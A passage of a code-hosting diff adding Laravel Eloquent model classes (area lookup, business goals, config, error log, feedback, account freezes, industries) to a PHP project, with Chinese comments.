+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereLevel($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereName($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereParentCode($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereShortName($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereStatus($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereUpdatedAt($value)
+ * @mixin \Eloquent
+ * @property int $pid 上级id
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area wherePid($value)
+ * @property int $area_id 区域ID
+ * @property int $sort 排序
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereAreaId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereSort($value)
+ */
+class Area extends Model
+{
+    protected $table = 'area';
+
+    /**
+     * 获取区域名称
+     * @author fatty
+     * @date 2018/12/21
+     * @param $id
+     * @description
+     */
+    public static function getName($id)
+    {
+        if (empty($id)) {
+            return '';
+        }
+        if (!Cache::has('JC_AreaNameById_' . $id)) {
+            $name = Area::whereId($id)->select('name')->first();
+            $name = isset($name) ? $name->name : '';
+            Cache::forever('JC_AreaNameById_' . $id, $name);
+        }
+        return Cache::get('JC_AreaNameById_' . $id);
+    }
+
+    /**
+     *
+     * @author fatty
+     * @date 2019/1/7
+     * @description
+     */
+    public static function getIterationArea($code = 0, $temp = [])
+    {
+        if (!Cache::has('JC_Area')) {
+            $area = Area::whereParentCode($code)->select(['name', 'code'])->get();
+            if ($area->isNotEmpty()) {
+                foreach ($area as $item) {
+                    $temp[] = [
+                        'name' => $item->name,
+                        'value' => $item->code
+                    ];
+                    if ($code != 0) {
+                        $temp = array_merge($temp, ['parent' => $code]);
+                    }
+//                $temp = self::getIterationArea($item['code'], $temp);
+                }
+            }
+
+        }
+
+        return $temp;
+    }
+
+    /**
+     * 检查省市区的从属关系
+     * @author lyh
+     * @date 2019/3/21
+     * @description
+     */
+    public static function isRealation($province, $city, $district)
+    {
+        if (Area::wherePid($city)->whereId($district)->exists() == false) {
+            return false;
+        }
+        if (Area::wherePid($province)->whereId($city)->exists() == false) {
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * 获取地区信息
+     * @author lyh
+     * @date 2019/4/15
+     * @param int $province 省id
+     * @param int $city 地级市ID
+     * @param int $district 县区ID
+     * @return string
+     * @description
+     */
+    public static function getArea($province, $city, $district)
+    {
+        return trim(self::getName($province) . ' ' . self::getName($city) . ' ' . self::getName($district));
+    }
+
+
+    public function UserAddress()
+    {
+        return $this->hasMany('App\Modes\UserAddress', 'id');
+    }
+
+}

+ 34 - 0
app/Modes/BusinessGoal.php

@@ -0,0 +1,34 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+/**
+ * App\Modes\BusinessGoal
+ *
+ * @property int $id
+ * @property int|null $uid 会员ID
+ * @property string $time 时间(格式20190101)
+ * @property float $goal 目标
+ * @property float $actual 实际
+ * @property int $type 类型 1-月 2-年
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal whereActual($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal whereGoal($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal whereTime($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal whereType($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal whereUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\BusinessGoal whereUpdatedAt($value)
+ * @mixin \Eloquent
+ */
+class BusinessGoal extends Model
+{
+    protected $table = 'business_goal';
+}

+ 71 - 0
app/Modes/Config.php

@@ -0,0 +1,71 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+/**
+ * App\Modes\Config
+ *
+ * @property int $id
+ * @property string $key 配置值
+ * @property string $content 配置内容
+ * @property int $type 数据类型 1-string 2-json
+ * @property string $remark 备注
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Config newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Config newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Config query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Config whereContent($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Config whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Config whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Config whereKey($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Config whereRemark($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Config whereType($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Config whereUpdatedAt($value)
+ * @mixin \Eloquent
+ */
+class Config extends Model
+{
+    protected $table = 'config';
+
+    /**
+     * 获取配置内容
+     * @author fatty
+     * @date 2018/12/24
+     * @param $rule
+     * @return array
+     * @description
+     */
+    public static function getConfigByKey($rule, $accessArray)
+    {
+        if (in_array($rule, $accessArray)) {
+            $result = Config::getValue($rule);
+        }
+        return isset($result) ? $result : [];
+    }
+
+    /**
+     * 获取配置内容
+     * @author fatty
+     * @date 2018/12/17
+     * @param $key
+     * @return bool|mixed
+     * @description
+     */
+    public static function getValue($key)
+    {
+        $key = strtoupper($key);
+        $config = Config::where('key', $key)->first();
+        if ($config) {
+            if ($config->type == 2) {
+                $data = json_decode($config->content, true);
+            } else {
+                $data = $config->content;
+            }
+            return $data;
+        }
+        return false;
+    }
+}

+ 54 - 0
app/Modes/ErrorLog.php

@@ -0,0 +1,54 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+use Request;
+
+/**
+ * App\Modes\ErrorLog
+ *
+ * @property int $id
+ * @property int|null $uid 会员ID
+ * @property string|null $content 描述
+ * @property string|null $data 数据
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog whereContent($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog whereData($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog whereUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog whereUpdatedAt($value)
+ * @mixin \Eloquent
+ * @property int $type 类型 1-支付宝 2-微信 3-短信
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog whereType($value)
+ * @property string $ip 来源ip
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\ErrorLog whereIp($value)
+ */
+class ErrorLog extends Model
+{
+    protected $table = 'error_log';
+
+    /**
+     * @author lyh
+     * @date 2019/3/25
+     * @param $string
+     * @param array $data
+     * @param int $type 类型 1-支付宝 2-微信 3-短信
+     * @description
+     */
+    public static function saveMsg($string, $data = [], $type = 0)
+    {
+        return ErrorLog::insertGetId([
+            'uid' => \Auth::id(),
+            'content' => $string,
+            'data' => is_array($data) || is_object($data) ? json_encode($data) : $data,
+            'type' => $type,
+            'ip' => Request::ip()
+        ]);
+    }
+}

+ 36 - 0
app/Modes/FeedBack.php

@@ -0,0 +1,36 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+/**
+ * App\Modes\FreedBack
+ *
+ * @property int $id
+ * @property int $uid 用户ID
+ * @property string|null $content 反馈内容
+ * @property int $audit_uid 处理管理员
+ * @property string|null $audit_at 处理时间时间
+ * @property string|null $audit_remark 处理备注信息
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack whereAuditAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack whereAuditRemark($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack whereAuditUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack whereContent($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack whereUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack whereUpdatedAt($value)
+ * @mixin \Eloquent
+ * @property int $feedback_type 反馈类型 1-建议 2-投诉
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\FeedBack whereFeedbackType($value)
+ */
+class FeedBack extends Model
+{
+    protected $table = 'feedback';
+}

+ 43 - 0
app/Modes/Frozen.php

@@ -0,0 +1,43 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+
+/**
+ * App\Modes\Frozen
+ *
+ * @property int $id
+ * @property int $uid
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Frozen whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Frozen whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Frozen whereFrozenTime($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Frozen whereThawTime($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Frozen whereUid($value)
+ * @mixin \Eloquent
+ * @property string $content 分类名称
+ * @property int $type 1-实体 2-虚拟
+ */
+class Frozen extends Model
+{
+    protected $table = 'frozen';
+
+    public static function getUserFrozentimeList($uid,$start,$end){
+        $list=Frozen::whereUid($uid)->get();
+        $arr=[];
+        $kkk=0;
+        if(!empty($list)){
+            foreach($list as $k=>$item){
+                if($item->frozen_time>$start && (empty($item->thaw_time) || $item->thaw_time<$end)){
+                    $thawtime=empty(strtotime($item->thaw_time))?date('Y-m-d H:i:s'):$item->thaw_time;
+                    $arr[$kkk]['startime']=$item->frozen_time;
+                    $arr[$kkk]['endtime']=$thawtime;
+                    $kkk++;
+                }
+            }
+        }
+        return $arr;
+    }
+
+}

+ 32 - 0
app/Modes/Industry.php

@@ -0,0 +1,32 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+/**
+ * App\Modes\Industry
+ *
+ * @property int $id
+ * @property int $title 名称
+ * @property int $status 状态 1-有效 2-无效
+ * @property \Illuminate\Support\Carbon|null $created_at
+ * @property \Illuminate\Support\Carbon|null $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Industry newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Industry newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Industry query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Industry whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Industry whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Industry whereStatus($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Industry whereTitle($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Industry whereUpdatedAt($value)
+ * @mixin \Eloquent
+ * @property string $content 分类名称
+ * @property int $type 1-实体 2-虚拟
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Industry whereContent($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Industry whereType($value)
+ */
+class Industry extends Model
+{
+    protected $table = 'industry';
+}

+ 0 - 0
app/Modes/MsgTemplate.php


Certains fichiers n'ont pas été affichés car il y a eu trop de fichiers modifiés dans ce diff